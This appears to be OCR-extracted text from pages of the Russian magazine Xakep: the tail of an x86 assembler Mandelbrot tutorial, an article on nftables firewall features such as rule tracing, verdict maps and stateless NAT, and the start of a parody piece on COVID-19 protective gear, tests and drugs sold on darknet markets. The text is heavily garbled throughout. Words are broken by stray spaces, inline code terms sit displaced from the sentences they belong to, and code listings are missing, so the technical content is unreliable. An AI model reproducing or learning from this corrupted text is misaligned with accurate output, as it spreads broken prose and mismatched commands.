стол бцам и стро кам и рису ет пик сели нуж ного цве та,  что бы в ито ге получи‐ 
лась палит ра.

Что  тут  дела ем? Ну,  во‐пер вых,  дела ем цикл.  А  пос ле  того,  как  все  пик сели
нарисо ваны, ждем, ког да поль зователь наж мет кла вишу. Пос ле это го вос ста‐ 
нав лива ем тек сто вый режим и воз вра щаем ся в коман дную стро ку.

При  помощи  этой  прог раммы  при  желании  мож но  выбирать  цвет.  Пос‐ 
коль ку  они  не  под писаны,  алго ритм  такой:  отсчи тай  квад ратики  до  нуж ной
стро ки свер ху вниз в шес тнад цатерич ной сис теме счис ления и начиная с   —
так  у  тебя  получит ся  левая  циф ра  цве та.  Затем  отсчи тай  сле ва  нап раво
до нуж ного стол бца — так ты получишь пра вую циф ру цве та.

0

Нап ример, левый вер хний чер ный квад ратик нарисо ван цве том  , а вер‐ 
хний пра вый квад ратик белого цве та —  .

0x00
0x0F
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ASSEMBLER
РАБОТАЕМ С БОЛЬШИМИ

ЧИСЛАМИ И ДЕЛАЕМ СЛОЖНЫЕ
МАТЕМАТИЧЕСКИЕ ВЫЧИСЛЕНИЯ

ПОГРУЖЕНИ

КОДИНГ  НАЧАЛО СТАТЬИ←

РИСУЕМ МНОЖЕСТВО МАНДЕЛЬБРОТА: ПОДГОТОВИТЕЛЬНЫЕ
ШАГИ
Те перь, ког да ты узнал, как работать с боль шими 32‐бит ными чис лами и как
рисовать  пик сели  в  гра фичес ком  режиме,  давай  напишем  прог рамму  пос‐ 
ложнее — будем рисовать  .мно жес тво Ман дель бро та

Вот алго ритм, который мы с тобой сей час реали зуем.

Или, если ты зна ком с С, вот ана логич ный сиш ный код.

Да вай реали зуем этот алго ритм на ассем бле ре.
Об рати  вни мание:    и    —  это  32‐бит ные  дроб ные  чис ла.

В  них  пер вые  24  бай та  хра нят  целую  часть  чис ла,  а  оставши еся  восемь —
дроб ную. Нап ример,   сох раня ется как   (или   в десятич ной
сис теме счис ления).

fractX fractY

1.0 0x00000100 256

Имей  в  виду,  что  про изве дение  двух  таких  дроб ных  чисел  удва ивает
количес тво битов, отве ден ных под дроб ную часть, и поэто му резуль тат надо
обя затель но  поделить  на  .  Нап ример,  .
Но пос ле деления на   резуль тат будет выг лядеть кор рек тно: 

.

256 0x0100  *  0x0100  =  0x010000
256 0x0100 (1.0

* 1.0 = 1.0)
На этом все пред варитель ные замеча ния сде ланы. Начина ем писать прог‐ 

рамму.

Что мы тут дела ем? Дирек тивой   про сим ком пилятор про кон тро лиро вать,
что  мы  исполь зуем  инс трук ции  толь ко  из  набора  8086  (или  его  соб рата —
8088).

cpu

За тем зада ем адре са для нуж ных нам перемен ных. Обра ти вни мание, что
перемен ные    и    занима ют  по  четыре  бай та,  а  не  по  два,
как  осталь ные.  А  про межу точ ная  перемен ная    вооб ще  занима ет
шесть.  Она  нам  нуж на  для  реали зации  алго рит ма  умно жения  32‐бит ных
чисел.

fractX fractY
dest48bit

За тем  перехо дим  в  гра фичес кий  режим  320  ×  200  ×  256  и  нацели ваем
сег мен тные регис тры на виде опа мять экра на.

Сно ва, как и в слу чае с прог раммой‐палит рой, начина ем рисовать от пра‐ 
вого  ниж него  пик селя  экра на.  Его  коор динаты    такие: 

  Смот ри  не  спу тай    и    с    и  ,
которые нуж ны не для рисова ния гра фики, а для сопутс тву ющих матема тичес‐ 
ких вычис лений.

(xScreen,  yScreen)
.(319, 199) xScreen yScreen fractX fractY

Те перь  реали зуем  пер вый  шаг  алго рит ма:  зададим  началь ные  зна чения
для   и  , а так же для счет чика ите раций.fractX fractY

Об рати  вни мание:  для  ини циали зации  перемен ных    и    мы
исполь зуем по две инс трук ции  , потому что эти перемен ные 32‐бит ные.

fractX fractY
mov

КРАТКИЙ ЛИКБЕЗ ПО РАБОТЕ СО СТЕКОМ
На чаль ные зна чения заданы, теперь про верим усло вие выхода.

Что мы тут дела ем? Во‐пер вых, активно исполь зуем стек. До сих пор я не рас‐ 
ска зывал, в каком поряд ке дан ные хра нят ся в сте ке, но теперь приш ло вре мя
разоб рать ся в этом.

Нач ну с объ ясне ния на паль цах, а уже потом поз наком лю тебя с фор маль‐ 
ным опре деле нием.

Пред ставь,  что  ты  кла дешь  тарел ку  на  стоп ку  тарелок.  Как  раз  так
и  работа ет  .  А  теперь  пред ставь,  что  ты  сни маешь  вер хнюю  тарел ку
со стоп ки тарелок. Так работа ет инс трук ция  .

push
pop

Та кой  спо соб  хра нения  дан ных  называ ется  LIFO  (last  in  first  out,  при шел
пос ледним —  уйдет  пер вым).  Как  этот  прин цип  отра жает ся  на  нашей  прог‐ 
рамме? Мы кла дем на стек сна чала  ,  потом    (резуль тат опе рации  ).
Потом пер вая инс трук ция   сни мает сох ранен ное зна чение   и кла дет
его в  , а вто рая инс трук ция   сни мает сох ранен ное зна чение  .

DX AX x^2
pop bx AX

BX pop bx DX
Бо лее  слож ное  и  точ ное  объ ясне ние  зву чит  так.  Инс трук ции  ,  ,
 и   отталки вают ся от регис тра   (stack pointer — ука затель сте ка). 

ука зыва ет на текущую ячей ку в сег менте сте ка. Адрес сег мента сте ка хра нит‐ 
ся в регис тре  .

push pop
call ret SP SP

SS
Вся кий раз, ког да ты кла дешь дан ные на стек, исполь зуя инс трук цию  ,

регистр    умень шает ся  на  ,  а  дан ные  (сдво енный  байт)  записы вают ся
в память по адре су, на который ука зыва ет регистр  .

push
SP 2

SP
Каж дый раз, ког да ты сни маешь дан ные со сте ка, исполь зуя фун кцию  ,

дан ные  (сдво енный байт) счи тыва ются с адре са,  который ука зан в регис тре
, а   уве личи вает ся на 2.

pop

SP SP

РИСУЕМ МНОЖЕСТВО МАНДЕЛЬБРОТА: ДЕЛАЕМ ВЫЧИСЛЕНИЯ
Идем  даль ше.  Пишем  тело  основно го  цик ла.  Сна чала  вычис ляем  зна чение 

 (смот ри чуть выше кар тинку с алго рит мом).t = x^2 – y^2 + i * x

Об рати вни мание, как я  тут при бав ляю к   32‐бит ное зна чение. Пос‐ 
коль ку инс трук ция   работа ет с 16‐бит ными чис лами, я добав ляю инс трук‐ 
цию   — для завер шения опе рации сло жения.

xScreen
add

adc dx, 0
Те перь вычис лим зна чение    (смот ри чуть выше кар‐ 

тинку с алго рит мом).
y = 2x * y + i * y

Об рати  вни мание на  ком бинацию двух  опе раций:    и  .
Вмес те  они  реали зуют  32‐бит ное  умно жение  на  два  (через  сдвиг  вле во).
Пер вая инс трук ция сдви гает   на один бит вле во и под став ляет спра ва ноль.
Пос ле  выпол нения  этой  инс трук ции  тот  бит,  который  вытес нился  сле ва,
попада ет  во  флаг  перено са.  Вто рая  инс трук ция  ( )  сдви гает    вле во
и под став ляет на осво бодив шееся спра ва мес то бит из фла га перено са.

shl ax, 1 rcl  dx,  1

AX

rcl DX

Даль ше готовим ся к сле дующей ите рации цик ла.

Что мы тут дела ем? Вна чале сни маем со сте ка какое‐то зна чение. Пом нишь,
что  там  хра нит ся?  Там  сей час  хра нит ся  новое  зна чение  для  перемен ной

! Если не понима ешь,  как оно  там ока залось, вер нись назад и най ди
стро ку  . Пос ле этой инс трук ции мы положи ли на стек 32‐бит ное
зна чение. Вот его мы сей час и сни маем со сте ка.

fractX
sub ax, 480

Об рати  вни мание,  мы  не  можем  записать  это  зна чение  сра зу  в  ,
потому что пре дыду щее зна чение   нам еще нуж но — для вычис ления
коор динаты  .

fractX
fractX

fractX
Пос ле это го уве личи ваем счет чик ите раций ( ) и срав нива ем его с чис‐ 

лом 100. Ког да он дос тига ет ста, выходим из цик ла, а ина че перехо дим к сле‐ 
дующей ите рации (пры гаем на  ).

CX

@@nextIter
А теперь самое инте рес ное! До сих пор мы толь ко делали матема тичес кие

рас четы и ничего не рисова ли на экра не. Приш ло вре мя порисо вать. Рису ем!

Что мы тут дела ем? Поч ти то же самое, что и в прог рамме‐палит ре. За исклю‐ 
чени ем  того,  что  к  зна чению    (0–99)  добав ляем  чис ло  32 —  что бы  сра зу
попасть на цве та радуги, а не на серые.

CL

С мно жес твом Ман дель бро та  закон чили!  Но  мы  еще  не  написа ли  под прог‐ 
рамму для 32‐бит ного  умно жения. По срав нению с  тем вари антом,  который
мы  раз бирали  вна чале,  здесь  есть  нес коль ко  дорабо ток.  Под прог рамма
теперь при нима ет дроб ные чис ла со зна ками.

УСОВЕРШЕНСТВОВАННАЯ ПОДПРОГРАММА УМНОЖЕНИЯ 
 ЧИСЕЛ32-БИТНЫХ

Вот ее лис тинг с ком мента риями.

Ре комен дую  поэк спе римен тировать  со  зна чени ями  сме щения,  которые  мы
задали  для  цен тров ки  изоб ражения  (480  и  300).  И  поп робуй  уда лить  дуб‐ 
лирован ные инс трук ции add для   и  , а еще поменять количес‐ 
тво  ите раций.  Сей час  уста нов лено  зна чение  100.  Можешь  поп робовать
задать зна чение боль ше или мень ше.

yScreen xScreen

ВЫВОДЫ
Поз драв ляю, ты сде лал еще один шаг в осво ении асма! Ты научил ся опе риро‐ 
вать  боль шими  чис лами,  выпол нять  слож ные  матема тичес кие  рас четы
и работать в гра фичес ком режиме. Теперь ты можешь писать на ассем бле ре
доволь но‐таки слож ные прог раммы. До встре чи на сле дующем уро ке!

https://ru.wikipedia.org/wiki/%D0%9C%D0%BD%D0%BE%D0%B6%D0%B5%D1%81%D1%82%D0%B2%D0%BE_%D0%9C%D0%B0%D0%BD%D0%B4%D0%B5%D0%BB%D1%8C%D0%B1%D1%80%D0%BE%D1%82%D0%B0


NFTABLES

РАЗБИРАЕМ ПРЕИМУЩЕСТВА
ПЕРЕХОДА С IPTABLES НА НОВЫЙ

ФАЙРВОЛ

Даниил Батурин
Координатор проекта VyOS
(https://vyos.io), «языковед»,
функциональщик, иногда
сетевой администратор

daniil@baturin.org

АДМИН

Nftables — новая реали зация фай рво ла в ядре Linux, которая
приз вана  заменить  iptables.  Как  и мно гие  дру гие  радикаль‐ 
ные изме нения, этот инс тру мент до сих пор вызыва ет у поль‐ 
зовате лей  про тиво речи вые  чувс тва.  И  глав ный  воп рос,
конеч но  же,  —  какие  пре иму щес тва  мож но  получить
от перехо да на него?

В статье « » я рас‐ 
смот рел осно вы нас трой ки nftables и миг рации с iptables. Набор пра вил пос‐ 
ле миг рации стал короче бла года ря новым фичам nftables вро де перемен ных
и встро енной под дер жки групп объ ектов. Тем не менее по фун кци ональ нос ти
он иден тичен ста рому, и у некото рых читате лей воз никли сом нения, что миг‐ 
рировать вооб ще целесо образно.

Nftables. Как выг лядит будущее нас трой ки фай рво ла в Linux

В этот раз мы рас смот рим ряд фун кций nftables, которые в iptables отсутс‐ 
тву ют, и убе дим ся, что переде лать фай рвол в Linux авто ры задума ли не прос‐ 
то от ску ки.

ТРАССИРОВКА ПРАВИЛ
На вер няка  бывало  так,  что  нуж ный  тра фик  оши боч но  бло киру ется  каким‐то
пра вилом, но  ты не можешь понять,  каким имен но.  У  nftables для  таких слу‐ 
чаев есть встро енный механизм трас сиров ки пра вил.

Рас смот рим его на оче вид ном при мере. Пусть у  тебя пра вило бло киру ет
весь тра фик сети 192.0.2.0/24.

$ sudo nft insert rule inet filter input ip saddr 192.0.2.0/24 drop 

Пред положим, ты о нем забыл и в упор не видишь его в нас трой ках, а поль‐ 
зовате ли жалу ются, что не про ходит тра фик с хос та 192.0.2.1. Не беда — мы
можем  вклю чить  трас сиров ку  для  всех  пакетов  с  адре сом  источни‐ 
ка 192.0.2.1. Это дела ется опци ей  .nftrace set 1

1 
$ sudo nft insert rule inet filter input ip saddr 192.0.2.1 meta 
nftrace set 

Те перь в выводе коман ды   мы можем уви деть весь путь
это го пакета через наш набор пра вил.

nft monitor trace

 

 

 
trace id 66fdb23e inet filter input packet: iif "eth0" ether saddr ... 
ether daddr ... ip saddr 192.0.2.1 ip daddr 203.0.113.1 ip dscp cs0 ip 
ecn not‐ect ip ttl 64 ip id 0 ip protocol icmp ip length 84 icmp type 
echo‐request icmp code net‐unreachable icmp id 50986 icmp sequence 1 
@th,64,96 14560823784192396447041847296 
trace id 66fdb23e inet filter input rule ip saddr 192.0.2.1 meta nftrace 
set 1 (verdict continue) 
trace id 66fdb23e inet filter input rule ip saddr 192.0.2.0/24 drop 
(verdict drop)

$ sudo nft monitor trace

Те перь мы смо жем най ти нуж ное пра вило поис ком по 
.  Это,  конеч но,  три виаль ный  при мер,  и  пра вило  мог ло  быть  куда  менее

прос тым и оче вид ным, но в выводе  трас сиров ки  ты всег да  уви дишь имен но
пра вило, которое отбро сило пакет.

ip saddr 192.0.2.0/
24

Как и с tcpdump/Wireshark, выбор кри терия для трас сиров ки — залог удач‐ 
ной  отладки.  Трас сиров ка  работа ет  толь ко  для  пакетов,  которые  попали
под  пра вило  с  .  Если  усло вие  недос таточ но  спе цифич но,
пакет в нее не попада ет. Сде лай  усло вие слиш ком общим, вро де 

, и ты не смо жешь най ти нуж ное в огромном объ еме вывода.

nftrace  set  1
protocol 

tcp
Тем  не  менее  само  наличие  это го  механиз ма  откры вает  преж де  недос‐ 

тупные воз можнос ти для отладки пра вил.

Удаляем ненужное правило
В  прош лой  статье  мы  поч ти  не  зат рагива ли  руч ное  управле ние  пра вила ми,
а вмес то это го сфо куси рова лись на фай лах кон фигура ции.

Сей час  мы  добави ли  отла доч ное  пра вило,  и  пос ле  завер шения  сеан са
отладки его хорошо бы уда лить. Как это сде лать? В iptables тре бова лось ука‐ 
зать каж дое усло вие пра вила. В nftables нем ного ина че.

Сна чала  нуж но  получить  номер  пра вила  в  таб лице.  Его  мож но  уви деть
в выводе коман ды   (опция   важ на).nft ‐a list ruleset ‐a

nft $ sudo  ‐a list ruleset 
table inet filter   { # handle 7
... 
   chain input   { # handle 1
       type filter hook input priority filter; policy accept;
       ip saddr 192.0.2.0/24 meta nftrace  1 set  # handle 25
       ... 

Здесь   — это и есть номер пра вила. Теперь мы можем уда лить его
коман дой  .

handle 25
sudo nft delete rule inet filter input handle 25

В отли чие от iptables уда ление пра вил по пол ному набору опций в nftables
не  под держи вает ся.  Нес коль ко  неудоб но,  что  нель зя  боль ше  ско пиро вать
пра вило и поменять   на  , но зато и коман да для уда ления пра вил ста‐ 
ла короче.

‐A/‐I ‐D

АССОЦИАТИВНЫЕ МАССИВЫ
Ста рый  инс тру мент    поз волял  соз давать  раз ные  типы  групп  объ ектов,
но не умел ассо цииро вать объ екты с раз решени ями — нель зя было в одном
пра виле раз решить один объ ект, но зап ретить дру гой.

IP  set

В  пра вилах  nftables  мож но  ссы лать ся  не  на  отдель ный  кри терий
и решение, а на ассо циатив ные мас сивы из них. Син таксис таких ассо циатив‐ 
ных  мас сивов:  .  Здесь    —
это  опция,  которая  ука зыва ет,  что  пос леду ет  имен но  мас сив  из  объ ектов
и раз решений, а   — общий син таксис ассо циатив‐ 
ных мас сивов.

vmap  {  объект  :  разрешение,  ...} vmap

{ ключ : значение, ...}

Нап ример, в одном пра виле мы можем раз решить зашиф рован ные вари‐ 
анты SMTP (SMTPS и SMTP/STARTTLS), но зап ретить обыч ный на пор те 25.

           {   :  ,   :  ,   :   } 
 

ct state new tcp dport vmap 465 accept 587 accept 25 drop
comment "Secure SMTP only"

Мы  так же  можем  опре делить  име нован ный  ассо циатив ный  мас сив  (нап‐ 
ример,  )  и  сос лать ся  на  него  в  пра виле  с  помощью  опции 

. Име нован ный мас сив может быть и пус тым, с рас четом на динами‐ 
чес кое редак тирова ние.

banlist vmap 
@banlist

     { table inet filter
       { map banlist
           : type ipv4_addr verdict
   } 

       { chain input
                  ;    ; type filter hook input priority filter policy accept
             @  ip saddr vmap banlist drop
   } 
} 

Это очень упро щает работу скрип тов вро де fail2ban, пос коль ку мас сив мож но
динами чес ки редак тировать средс тва ми nftables.

$ sudo nft add element inet filter banlist { 203.0.113.80 : drop}
$ sudo nft delete element inet filter banlist { 192.0.2.98 : drop}

В IP set был встро енный набор типов, но не было воз можнос ти соз дать свои,
поэто му раз работ чики добави ли мно гочис ленные вари анты вро де 

,  пыта ясь  пок рыть  все  воз можные  слу чаи.  В  nftables  боль ше  нет  такой
проб лемы  —  эле мен ты  ассо циатив ных  мас сивов  могут  быть  про изволь ных
типов.

hash:ip,
port

Нап ример,  мы  можем  одним  пра вилом  NAT  про кинуть
порт 80 на адрес 10.0.0.10, а порт 25 — на адрес 10.0.0.20.

$ sudo nft add rule ip nat prerouting dnat tcp dport map { 80 : 10.0.
0.10, 25 : 10.0.0.20 }

Да же если син таксис nftables кажет ся тебе менее чита емым, в качес тве ком‐ 
пенса ции он поз воля ет обой тись мень шим чис лом пра вил.

STATELESS NAT
В  дав ние  вре мена  в  ядре  Linux  был  прос той  NAT,  сос тояние  соеди нений
не  отсле жива лось.  Механизм  их  отсле жива ния  (conntrack)  сде лал  жизнь
сетевых  адми нис тра торов  куда  луч ше.  Слож ные  про токо лы  более  чем
с  одним  соеди нени ем  перес тали  быть  нераз решимой  проб лемой.  Кро ме
того, обра бот ка пакетов ста ла быс трее, пос коль ку боль шинс тво из них дос‐ 
таточ но сопос тавить с таб лицей соеди нений (опция   в iptables), и уже
не нуж но про гонять через весь набор пра вил.

‐‐state

Тем  не  менее  иног да  stateless  NAT  —  дей стви тель но  луч шее  решение.
Нап ример,  про вай деры  хос тинга  VPS  вро де  Amazon широко  при меня ют  1:1
NAT, что бы упростить управле ние сетью, — у самой вир туал ки «серый» адрес,
что  поз воля ет  раз вязать  внеш нюю  и  внут реннюю  мар шру тиза цию.  Отсле‐ 
живать потоки  тра фика  в  этом слу чае не име ет  смыс ла,  пос коль ку решение
для всех пакетов с одним адре сом всег да оди нако вое.

В  iptables  это было воз можно  толь ко при  тран сля ции сетей  IPv6  (NPTv6).
В  nftables  сно ва  появи лась  «тупая»  (а  зна чит,  очень  быс трая)  тран сля ция
адре сов.

Нап ример, тран сли руем внеш ний адрес 192.0.2.1 во внут ренний 10.0.0.1.

     { table ip raw
       { chain prerouting
                  ;    ; type filter hook prerouting priority raw policy accept
            . . .         . . .  ip daddr 192 0 2 5 ip daddr set 10 0 0 1 notrack
   } 
} 

МНОЖЕСТВЕННЫЕ ДЕЙСТВИЯ
В  iptables  у  каж дого  пра вила  может  быть  толь ко  одно  дей ствие  (оно  опре‐ 
деля ется опци ей  ). При менить к одно му пакету нес коль ко раз ных дей ствий
мож но толь ко нес коль кими пра вила ми.

‐j

В  nftables  у  одно го  пра вила  может  быть  нес коль ко  дей ствий.  Нап ример,
мы можем логиро вать пакеты из сети 192.0.2.0/24 и сра зу бло киро вать их.

$ sudo nft insert rule inet filter input ip saddr 192.0.2.0/24 log 
level err prefix martian‐source drop 

ТАБЛИЦЫ NETDEV
В  прош лой  статье  мы  уже  рас смат ривали  новый  тип  таб лиц  ,  который
поз воля ет  хра нить  пра вила  и  для  IPv4,  и  для  IPv6  в  одной  таб лице.  С  его
помощью мы смог ли изба вить ся от дуб лиру ющих ся наборов пра вил для раз‐ 
ных про токо лов.

inet

Это  не  единс твен ный  новый  тип  таб лиц.  Кро ме  него,  есть  еще  таб лицы
типа  .  Пра вила  в  таких  таб лицах  видят  весь  тра фик,  ког да  он  вхо дит
из драй вера сетевой кар ты в сетевой стек ядра, вклю чая кад ры ARP. Это поз‐ 
воля ет  бло киро вать  пакеты  еще  до  того,  как  ядро  нач нет  их  обра баты вать.
Авто ры  совету ют  при менять  эти  таб лицы  для  пра вил  защиты  от  DDoS
и подоб ного.

netdev

ЗАКЛЮЧЕНИЕ
Уда лять iptables из ядра в бли жай шее вре мя ник то не собира ется, так что миг‐ 
рировать  на  nftables  или нет — решать  тебе. Наде юсь,  этот обзор поможет
тебе при нять информи рован ное и осоз нанное решение.

mailto:daniil@baturin.org
https://xakep.ru/2020/06/22/nftables/
http://ipset.netfilter.org/
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Мы  были  где‐то  на  трас се  М‐11,  непода‐ 
леку  от Выш него Волоч ка,  ког да  нас  ста ло
нак рывать. Пом ню, про мям лил что‐то типа:
«Чувс твую, меня  нем ного  кол басит; может,
ты поведешь?..» И неожи дан но я раз разил‐ 
ся  сухим  каш лем,  шата ющим  машину,
несущу юся на пре деле двух сот километ ров
в  час  пря мо  в  Санкт‐Петер бург.  И  чей‐то
голос возопил: «Гос поди Иису се! Да отку да
взя лась эта чер това зараза?!»

За тем все сно ва стих ло. Мой адво кат лил сироп от каш ля себе в гор ло пря мо
из бутыл ки. «Какого хре на ты так задыха ешь ся?» — про бор мотал он, уста вив‐ 
шись на сол нце с зак рытыми гла зами, спря тан ными за козырь ком кеп ки FBI.
«Не бери в голову, — ска зал я. — Твоя оче редь вес ти». И, нажав на тор моза,
сто панул «Ладу‐При ору» на обо чине трас сы. «Без мазы упо минать о нех ватке
кис лорода, — подумал я. — Бед ный  ублю док доволь но ско ро сам испы тает
сим пто мы».

Уже  поч ти  пол день,  а  нам  все  еще  оста валось  про ехать  боль ше  двух сот
километ ров.  Суровых  километ ров.  Я  знал  —  вре мени  в  обрез,  нас  обо их
в  момент  рас тащит  тем перату рой  так,  что  небесам  ста нет  жар ко.  Но  пути
назад  не  было,  как  и  вре мени  на  отдых.  Выпута емся  на  ходу.  Регис тра ция
прес сы на леген дарный Chaos Constructions идет пол ным ходом, и нам нуж но
успеть к четырем, что бы пот ребовать наш дезин фициро ван ный номер люкс.
Мод ный мос ков ский жур нал об информа цион ной безопас ности позабо тил ся
о бро ни, не счи тая это го рос кошно го авто моби ля, который мы взя ли нап рокат
с пар ковки на Твер ской. А я, помимо про чего, про фес сиональ ный жур налист;
так  что  у меня было обя затель ство пред ста вить репор таж с мес та  событий,
живым или мер твым. Редак торы руб рики Geek выдали мне налич ными трид‐ 
цать тысяч руб лей, боль шая часть которых была сра зу пот рачена на медика‐ 
мен ты. Багаж ник нашей машины напоми нал перед вижную апте ку.

У  нас  с  собой  было  десять  упа ковок  по  сто  одно разо вых  медицин ских
масок  в  каж дой,  пять десят  пар  нит риловых  неопуд ренных  пер чаток,  сорок
уни вер саль ных  защит ных  ком бинезо нов,  два  бес контак тных  тер момет ра,
пол‐лит ра кро ви выз доровев шего от COVID‐19 паци ента, нес коль ко десят ков
блис теров  раз ных  про тиво вирус ных  пре пара тов...  а  еще  пять  десяти мил‐ 
лилит ровых  фла конов  с  экспе римен таль ными  вак цинами,  три  пор татив ных
мини‐вен тилято ра и два про тиво газа. Все это мы дос тали накану не на дар‐ 
кнет‐мар кет плей сах.

Бес покой ство  вызыва ли  толь ко  про тиво газы.  Нет  никого  страш нее,  без‐ 
нравс твен нее и безот ветс твен нее, чем человек в про тиво газе на Лигов ском.
Ког да  начина ешь  запасать ся  анти коро нави рус ными  ору диями,  ста новит ся
слож но оста новит ся. Но мы взя ли толь ко самое необ ходимое — то, без чего
в дороге не обой тись. А выбор был широкий....

МАСКИ, ПЕРЧАТКИ, ДВА ПРОТИВОГАЗА
Ду маю, ты уже уло вил, к чему я вдруг цитирую клас сику. С началом пан демии
в  дар кне те,  как,  впро чем,  и  в  откры той  час ти  сети,  ста ли  про давать  самые
раз ные товары, которые помога ют не под хва тить COVID‐19 или осла бить ход
болез ни  (а  некото рые  вооб ще  про рочат  исце ление!).  И,  пос коль ку  теневой
сег мент  сети  нам  осо бен но  инте ресен,  туда  я  и  заг лянул,  что бы  оце нить
ассорти мент.  Давай  вмес те  пос мотрим,  чем  нын че  барыжат  на  форумах
заод но  с  нар котика ми  и  кар тоном.  А  так же  срав ним  цены  с  обыч ными,
магазин ными.

Средс тва  инди виду аль ной  защиты  (СИЗ)  занима ют  пер вое  мес то  сре ди
катего рий  анти коро нави рус ных  товаров  по  широте  ассорти мен та  —
228  лотов,  102 —  уни каль ные. Одних  лишь масок  36  видов:  синие,  чер ные,
белые,  син тетичес кие,  хлоп ковые,  одно разо вые  и  сти рабель ные.  В  целом
ничего  осо бен ного.  За  исклю чени ем  Hemp  Black  —  вен ца  тво рения  инже‐ 
неров аме рикан ской ком пании Ecofibre.

Мас ка бес шовная и гипо аллерген ная, выдер жива ет 25 цик лов стир ки. Hemp
Black  сши та  из  коноп ляного  волок на  с  вкрап лени ями  меди,  про питан ного
экс трак том  соц ветий  кан набиса.  Металл  меша ет  бак тери ям  раз мно жать ся,
а  рас титель ная  вытяж ка  бло киру ет  запахи.  Какие  вещес тва  содер жатся
в элик сире — неиз вес тно. Уве рен на все сто, что ТГК не боль ше 0,3%, ина че
про дукт  был  бы  нелега лен  в  США.  Поэто му  Hemp  Black  не  под ходит
для  исполь зования  в  рек реацион ных  целях.  Ско рее  все го,  в  экс трак те  есть
КБД  —  кан набино ид,  который  вклю чен  в  спи сок  зап рещен ных  суб стан ций
в Рос сии. В общем, брать не советую, от гре ха подаль ше.

В ком плект к мас ке мож но при купить один из шес ти видов защит ных ком‐ 
бинезо нов.  Есть  бюд жетные  вари анты,  нап ример  DuPont  TY122S‐XL‐EACH
с капюшо ном и бахила ми. Кли ентов с тол стым кошель ком заин тересу ет MIRA
SAFETY  Hazmat  Suit,  защища ющий  от  химика тов,  мик роор ганиз мов  и  ради‐ 
ации.  В  раз деле  «Изо ляци онные  халаты»  пред став лены  16  раз ных  товаров.
Шлаф роки  про изво дят  из  поли эсте ра  или  поли уре тана,  и  их мож но  сти рать
нес коль ко  раз.  В  отли чие  от  ком бинезо нов,  халаты  не  пре дох раня ют  ноги,
шею и  голову от попада ния жид костей, поэто му не дарят истинно го чувс тва
безопас ности.

Ко го уж точ но про дав цы не обде лили вни мани ем, так это фанатов пер чаток.
На вит рины выс тавили 36 видов средств защиты рук: винило вые, нит риловые,
латек сные,  резино вые  и  поли эти лено вые.  Отдель но  сто ит  отме тить
UXglove  —  вул канизи рован ных  монс тров  из  натураль ного  латек са  тол‐ 
щиной  1,15 мм.  На  тот  слу чай,  если  при дет ся менять  про вод ку,  нуж но  при‐ 
обрести диэлек три чес кие пер чатки, нап ример фир мы ShuangAn, выдер жива‐ 
ющие нап ряжение до 12 000 В. Для тех, кто боит ся порезать ся, подой дут ней‐ 
лоновые FORTEM с пяти уров невой защитой.

Ни  для  кого  не  сек рет,  что  мас ки  не  исклю чают  веро ятность  зараже ния
COVID‐19. По‐нас тояще му дей ствен ные СИЗ орга нов дыхания — рес пирато‐ 
ры  и  про тиво газы.  В  дар кве бе  про дают  шесть  типов  рес пирато ров:  ATTICA
с уголь ными филь тра ми, 3M 7501/37081(AAD) с дву мя кар трид жами для филь‐ 
тров, хип стерский UltraTac с усо вер шенс тво ван ной сис темой аэра ции, Safety
Works  SWX00318  с  гиги ени чес кой  прок ладкой,  MSA  815452  для  гор няков
и самый кру той — Honeywell North 7600 — он зак рыва ет лицо пол ностью и не
про пус кает час тицы орга ничес кого и неор ганичес кого про исхожде ния. Про‐ 
тиво газов все го лишь две модели: поль ский MP5 с натов ским филь тром FP‐
5  и  фран цуз ский  Surplus  ARF‐A  с  пить евой  сис темой  и  голосо вой  диаф‐ 
рагмой — он, к сло ву,  тоже соот ветс тву ет стан дартам НАТО. Естес твен но, я
не усто ял перед Surplus ARF‐A.

ГАДЖЕТЫ
Я  решил  вклю чить  тер моска неры  и  тес ты  на  COVID‐19  в  спи сок  гад жетов.
В  дар кне те  про дают  шесть  видов  бес контак тных  тер момет ров.  Аппа рат
замеря ет  ампли туду  элек тро маг нитно го  излу чения  от  пред мета  в  инфрак‐ 
расной  час ти  спек тра и  затем перес читыва ет  эту  величи ну  в мощ ность  теп‐ 
лового  излу чения.  Тер мометр‐пис толет  —  девайс  для  рас точитель ных
недопа рано иков,  готовых  пус кать  гос тей  в  дом,  но  толь ко  пос ле  бес смыс‐ 
ленно го  обсле дова ния.  Во‐пер вых,  отсутс твие  жара  не  говорит  о  том,  что
человек  не  перено сит  заразу.  Во‐вто рых,  что бы  изме рить  тем перату ру,
необя затель но покупать устрой ство за 20 бак сов и более, для это го подой дет
обыч ный гра дус ник. Поэто му тер моска неры — мимо.

У теневых дилеров про дают ся 13 видов наборов для тес тирова ния на корона‐ 
вирус.  Экс пресс‐тес ты  выяв ляют  анти тела  к  COVID‐19  в  кро ви.  Устрой ства
находят  два  клас са  гло буляр ных  бел ков:  IgМ  и  IgG.  Если  в  ана лизах  содер‐ 
жится  пер вый  класс  анти генов,  то  человек  заразил ся  инфекци ей  недав но.
Обна руже ние вто рого клас са бел ков сви детель ству ет о том, что подопыт ный
уже  выз доровел  и  у  него  сфор мировал ся  устой чивый  имму нитет  к  корона‐ 
виру су.  Тест  очень  прос то  сде лать  в  полевых  усло виях.  Для  это го  нуж но
закапать кровь в спе циаль ную лун ку, добавить во вто рое углубле ние буфер‐ 
ную жид кость (идет в ком плек те) и подож дать око ло двад цати минут.

Впро чем, руково дитель ФАС Рос сии Игорь Артемь ев не сог ласен с тем, что
с  экс пресс‐тес том  спра вит ся  даже  школь ник.  По  его  мне нию,  устрой ства
име ют пра во исполь зовать толь ко ква лифи циро ван ные медики. Конеч но, уко‐ 
лоть  палец —  это  вам  не шубу  в  тру сы  зап равлять,  для  это го  обра зова ние
тре бует ся.  В  июле  Артемь ев  обе щал  воз будить  дело  про тив
интернет‐магази нов, тор гующих тес тами, но даль ше раз говоров дело до сих
пор не заш ло.

Бри тан ская орга низа ция «Кок ран»  , что в течение пер вой недели
пос ле  воз никно вения  сим пто мов  COVID‐19  экс пресс‐тес ты  вер но  иден‐ 
тифици руют  лишь  30%  заразив шихся  корона виру сом,  во  вре мя  вто рой
недели — 70%, а с 15‐го по 35‐й день — 90%.   гла вы Рос потреб‐ 
надзо ра  Анны  Поповой,  точ ность  тес тов,  выпол ненных  в  лабора тори ях
ведомс тва,  дос тига ет  98%,  а  в  минз дра вов ских  —  лишь  80%.  Во  мно гих
государс твен ных боль ницах тест дела ют бес плат но. Таким обра зом, из сооб‐ 
ражений  эко номии  и  резуль татив ности  луч ше  обра тить ся  в медуч режде ние.
Экс пресс‐тест  ста нет  палоч кой‐выруча лоч кой  в  тех  слу чаях,  ког да  полик‐ 
